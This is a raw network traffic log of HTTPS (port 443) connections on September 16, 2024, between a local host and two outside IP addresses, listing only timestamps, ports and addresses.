Sep 16, 2024 08:23:04.173119068 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173233986 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.173243046 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173254013 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173264027 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173356056 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.173356056 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.173361063 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173379898 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.173525095 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.315452099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.315821886 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.383435965 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.383505106 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.571449995 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.571552992 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.603429079 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.603585958 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.668700933 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.668719053 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668730974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668741941 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668817043 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.668822050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668844938 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668854952 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668953896 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.668961048 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.668993950 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.669034004 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.700875044 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.700932026 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.700964928 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.701005936 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.701024055 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.701059103 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.701096058 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758229971 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758270979 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758296967 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758320093 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758359909 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758441925 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758456945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758486986 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758521080 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758574009 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758586884 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758620977 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758682966 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758682966 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758704901 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.758852005 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.758876085 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.784264088 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:04.784302950 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:04.784373999 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:04.784823895 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:04.784840107 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:04.879432917 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.879831076 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:04.963443041 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:04.963629961 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.101361990 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.101407051 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.101492882 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123116970 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123142958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123169899 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123223066 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123259068 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123291969 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123301983 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123341084 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123369932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123369932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123409986 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123451948 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123465061 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123490095 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123522043 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123522043 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123570919 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123574972 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123624086 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123677969 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123708963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123723030 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123758078 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123775005 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.123835087 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123835087 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123859882 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.123922110 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.243871927 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.243958950 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.247834921 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.247845888 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.248167992 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.249047041 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.295445919 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.311412096 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.311518908 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.331516981 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.331610918 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360440969 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360472918 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360486984 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360537052 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360543013 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360552073 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360589981 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360594034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360611916 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360627890 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360634089 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360641956 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360682011 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360687017 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.360724926 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.360761881 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.403450012 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.403455019 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.403525114 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.406163931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.571420908 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.571476936 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.759428978 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.759497881 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.769054890 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.769264936 CEST	443	49741	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.769330025 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.770397902 CEST	49741	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.771795034 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.771828890 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.771924019 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.772121906 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:05.772134066 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:05.778798103 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.778806925 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.778819084 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.778824091 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.778929949 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.778939009 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.778955936 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.778964043 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.779078960 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.779083967 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.779155970 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.808617115 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.808650970 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.808666945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.808717012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.808726072 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.808763027 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.808785915 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.931843042 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.931864977 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.931879044 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.931891918 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.931968927 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.931977987 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932005882 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932025909 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.932039976 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932059050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.932063103 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932073116 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932121992 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.932130098 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932145119 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.932171106 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.932199955 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.932248116 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:05.983441114 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:05.983496904 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.015104055 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.015137911 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.015213966 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.032872915 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.032891035 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.032913923 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.032957077 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.032968998 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033001900 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033013105 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033054113 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033078909 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033080101 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033101082 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033132076 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033132076 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033149958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033185959 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033198118 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033231020 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033256054 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033257008 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033274889 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033310890 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033310890 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033327103 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033339977 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033376932 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033401966 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.033447981 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033493042 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.033525944 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.143446922 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.143732071 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.243405104 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.243818998 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.342984915 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:06.345285892 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:06.345313072 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:06.399408102 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.399471045 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.559444904 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.563931942 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.639941931 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.639966011 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.639978886 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640026093 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.640034914 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640043974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640059948 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.640063047 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640090942 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.640094995 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640111923 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640130043 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.640132904 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640139103 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640212059 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.640234947 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.640325069 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.687418938 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.687872887 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:06.692082882 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:06.692308903 CEST	443	49742	172.67.19.24	192.168.2.5
Sep 16, 2024 08:23:06.692394972 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:06.737088919 CEST	49742	443	192.168.2.5	172.67.19.24
Sep 16, 2024 08:23:06.851404905 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:06.851829052 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.067450047 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.067559004 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.291439056 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.291492939 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.391407013 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.391519070 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.515445948 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.515537024 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669761896 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669783115 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669800043 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669856071 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669864893 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669873953 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669888020 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669900894 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669905901 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669943094 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669948101 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669975042 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.669991970 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.669996023 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.670043945 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.670093060 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.700412989 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.700480938 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.700515985 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.700576067 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.700593948 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.700624943 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.700644970 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.700685978 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.700706959 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.753807068 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.753830910 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.753871918 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.753936052 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.753948927 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.753998995 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754009008 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754038095 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754071951 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754071951 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754093885 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754152060 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754152060 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754169941 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754220963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754250050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754250050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754266024 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.754359961 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.754383087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799004078 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799041033 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799071074 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799138069 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799155951 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799185038 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799217939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799218893 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799235106 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799263000 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799305916 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799305916 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799324036 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799354076 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799371958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799441099 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799441099 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799454927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799549103 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799551964 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799571037 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799595118 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799648046 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799649000 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799674988 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.799736977 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.799792051 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:07.875459909 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.963443041 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:07.963507891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:08.007447958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:08.007531881 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:08.024065971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:08.069736004 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:08.069752932 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:08.069776058 CEST	443	49735	185.199.109.133	192.168.2.5
